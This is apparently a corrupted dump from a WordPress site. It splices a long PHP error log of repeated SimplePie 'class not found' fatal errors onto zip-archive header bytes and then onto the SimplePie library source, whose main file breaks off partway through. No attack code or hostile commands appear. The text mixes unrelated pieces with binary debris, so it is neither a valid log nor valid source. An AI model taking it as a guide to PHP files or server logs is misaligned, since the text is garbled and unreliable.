[01-Nov-2025 11:06:34 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[01-Nov-2025 11:07:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[01-Nov-2025 11:07:44 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[01-Nov-2025 21:17:35 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 00:00:22 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 00:00:42 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 00:01:03 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 00:01:22 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[02-Nov-2025 00:01:38 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 00:06:09 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 12:58:23 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 12:58:29 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 12:58:33 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[02-Nov-2025 12:58:42 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 12:59:16 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 13:03:53 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 13:11:18 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[02-Nov-2025 13:13:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 13:14:13 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 13:18:05 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 13:19:51 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 18:00:21 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 18:00:27 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 18:02:59 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 18:03:26 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 18:05:28 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 18:06:29 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 10:45:58 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[03-Nov-2025 10:46:09 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[03-Nov-2025 10:46:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[03-Nov-2025 10:46:25 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 10:46:55 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[03-Nov-2025 10:47:56 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[03-Nov-2025 10:57:03 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 10:59:33 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[03-Nov-2025 11:00:30 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[03-Nov-2025 11:01:33 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[03-Nov-2025 11:02:36 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[03-Nov-2025 11:04:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[03-Nov-2025 11:22:08 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[03-Nov-2025 11:24:10 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[03-Nov-2025 11:26:17 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 11:27:16 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[03-Nov-2025 11:32:17 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[03-Nov-2025 11:33:19 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[03-Nov-2025 12:27:45 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 18:48:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[03-Nov-2025 19:50:13 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[03-Nov-2025 22:10:32 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[03-Nov-2025 22:49:00 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[04-Nov-2025 01:22:07 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[04-Nov-2025 01:42:39 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
PKWd[��M��src/Core.phpnu�[���<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * SimplePie class.
 *
 * Class for backward compatibility.
 *
 * @deprecated Use {@see SimplePie} directly
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Core extends SimplePie
{

}PKWd[������src/SimplePie.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use InvalidArgumentException;
use Psr\SimpleCache\CacheInterface;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;
use SimplePie\Cache\Psr16;
use SimplePie\Content\Type\Sniffer;

/**
 * SimplePie
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie
{
    /**
     * SimplePie Name
     */
    public const NAME = 'SimplePie';

    /**
     * SimplePie Version
     */
    public const VERSION = '1.8.0';

    /**
     * SimplePie Website URL
     */
    public const URL = 'http://simplepie.org';

    /**
     * SimplePie Linkback
     */
    public const LINKBACK = '<a href="' . self::URL . '" title="' . self::NAME . ' ' . self::VERSION . '">' . self::NAME . '</a>';

    /**
     * No Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_NONE = 0;

    /**
     * Feed Link Element Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_AUTODISCOVERY = 1;

    /**
     * Local Feed Extension Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_LOCAL_EXTENSION = 2;

    /**
     * Local Feed Body Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_LOCAL_BODY = 4;

    /**
     * Remote Feed Extension Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_REMOTE_EXTENSION = 8;

    /**
     * Remote Feed Body Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_REMOTE_BODY = 16;

    /**
     * All Feed Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_ALL = 31;

    /**
     * No known feed type
     */
    public const TYPE_NONE = 0;

    /**
     * RSS 0.90
     */
    public const TYPE_RSS_090 = 1;

    /**
     * RSS 0.91 (Netscape)
     */
    public const TYPE_RSS_091_NETSCAPE = 2;

    /**
     * RSS 0.91 (Userland)
     */
    public const TYPE_RSS_091_USERLAND = 4;

    /**
     * RSS 0.91 (both Netscape and Userland)
     */
    public const TYPE_RSS_091 = 6;

    /**
     * RSS 0.92
     */
    public const TYPE_RSS_092 = 8;

    /**
     * RSS 0.93
     */
    public const TYPE_RSS_093 = 16;

    /**
     * RSS 0.94
     */
    public const TYPE_RSS_094 = 32;

    /**
     * RSS 1.0
     */
    public const TYPE_RSS_10 = 64;

    /**
     * RSS 2.0
     */
    public const TYPE_RSS_20 = 128;

    /**
     * RDF-based RSS
     */
    public const TYPE_RSS_RDF = 65;

    /**
     * Non-RDF-based RSS (truly intended as syndication format)
     */
    public const TYPE_RSS_SYNDICATION = 190;

    /**
     * All RSS
     */
    public const TYPE_RSS_ALL = 255;

    /**
     * Atom 0.3
     */
    public const TYPE_ATOM_03 = 256;

    /**
     * Atom 1.0
     */
    public const TYPE_ATOM_10 = 512;

    /**
     * All Atom
     */
    public const TYPE_ATOM_ALL = 768;

    /**
     * All feed types
     */
    public const TYPE_ALL = 1023;

    /**
     * No construct
     */
    public const CONSTRUCT_NONE = 0;

    /**
     * Text construct
     */
    public const CONSTRUCT_TEXT = 1;

    /**
     * HTML construct
     */
    public const CONSTRUCT_HTML = 2;

    /**
     * XHTML construct
     */
    public const CONSTRUCT_XHTML = 4;

    /**
     * base64-encoded construct
     */
    public const CONSTRUCT_BASE64 = 8;

    /**
     * IRI construct
     */
    public const CONSTRUCT_IRI = 16;

    /**
     * A construct that might be HTML
     */
    public const CONSTRUCT_MAYBE_HTML = 32;

    /**
     * All constructs
     */
    public const CONSTRUCT_ALL = 63;

    /**
     * Don't change case
     */
    public const SAME_CASE = 1;

    /**
     * Change to lowercase
     */
    public const LOWERCASE = 2;

    /**
     * Change to uppercase
     */
    public const UPPERCASE = 4;

    /**
     * PCRE for HTML attributes
     */
    public const PCRE_HTML_ATTRIBUTE = '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*';

    /**
     * PCRE for XML attributes
     */
    public const PCRE_XML_ATTRIBUTE = '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*';

    /**
     * XML Namespace
     */
    public const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';

    /**
     * Atom 1.0 Namespace
     */
    public const NAMESPACE_ATOM_10 = 'http://www.w3.org/2005/Atom';

    /**
     * Atom 0.3 Namespace
     */
    public const NAMESPACE_ATOM_03 = 'http://purl.org/atom/ns#';

    /**
     * RDF Namespace
     */
    public const NAMESPACE_RDF = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#';

    /**
     * RSS 0.90 Namespace
     */
    public const NAMESPACE_RSS_090 = 'http://my.netscape.com/rdf/simple/0.9/';

    /**
     * RSS 1.0 Namespace
     */
    public const NAMESPACE_RSS_10 = 'http://purl.org/rss/1.0/';

    /**
     * RSS 1.0 Content Module Namespace
     */
    public const NAMESPACE_RSS_10_MODULES_CONTENT = 'http://purl.org/rss/1.0/modules/content/';

    /**
     * RSS 2.0 Namespace
     * (Stupid, I know, but I'm certain it will confuse people less with support.)
     */
    public const NAMESPACE_RSS_20 = '';

    /**
     * DC 1.0 Namespace
     */
    public const NAMESPACE_DC_10 = 'http://purl.org/dc/elements/1.0/';

    /**
     * DC 1.1 Namespace
     */
    public const NAMESPACE_DC_11 = 'http://purl.org/dc/elements/1.1/';

    /**
     * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
     */
    public const NAMESPACE_W3C_BASIC_GEO = 'http://www.w3.org/2003/01/geo/wgs84_pos#';

    /**
     * GeoRSS Namespace
     */
    public const NAMESPACE_GEORSS = 'http://www.georss.org/georss';

    /**
     * Media RSS Namespace
     */
    public const NAMESPACE_MEDIARSS = 'http://search.yahoo.com/mrss/';

    /**
     * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
     */
    public const NAMESPACE_MEDIARSS_WRONG = 'http://search.yahoo.com/mrss';

    /**
